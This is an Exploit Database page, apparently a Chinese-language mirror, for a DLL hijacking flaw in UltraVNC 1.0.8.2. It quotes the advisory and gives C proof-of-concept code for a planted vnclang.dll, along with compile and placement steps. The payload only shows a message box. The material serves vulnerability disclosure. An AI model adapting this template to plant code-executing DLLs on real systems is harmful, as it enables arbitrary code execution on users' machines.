UltraVNC 1.0.8.2 – DLL Loading Arbitrary Code Execution

• Exploit Database
• 117 阅读

• 作者： Ivan Markovic
  日期： 2010-08-30
• 类别：

  • remote
  平台：

  • windows
• 来源：https://www.exploit-db.com/exploits/34542/
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  // source: https://www.securityfocus.com/bid/42846/info   UltraVNC is prone to a vulnerability that lets attackers execute arbitrary code.   An attacker can exploit this issue by enticing a legitimate user to use the vulnerable application to open a file from a network share location that contains a specially crafted Dynamic Link Library (DLL) file.   UltraVNC 1.0.8.2 is vulnerable; other versions may be affected.   /* ==================================================================== UltraVNC Viewer - Connection 105 DLL Hijacking Exploit (vnclang.dll) ====================================================================   $ Program: UltraVNC Viewer $ Version: Connection 105 $ Download: http://www.uvnc.com/ $ Date: 2010/10/08 Found by Pepelux <pepelux[at]enye-sec.org> http://www.pepelux.org eNYe-Sec - www.enye-sec.org   Tested on: Windows XP SP2 && Windows XP SP3   Howto use :   1> Compile this code as vnclang.dll gcc -shared -o vnclang.dll thiscode.c 2> Move DLL file to the directory where UltraVNC is installed 3> Open any file recognized by UltraVNC */     #include <windows.h> #define DllExport __declspec (dllexport) int mes() { MessageBox(0, "DLL Hijacking vulnerable", "Pepelux", MB_OK); return 0; } BOOL WINAPIDllMain ( HANDLEhinstDLL, DWORD fdwReason, LPVOIDlpvReserved) {mes();}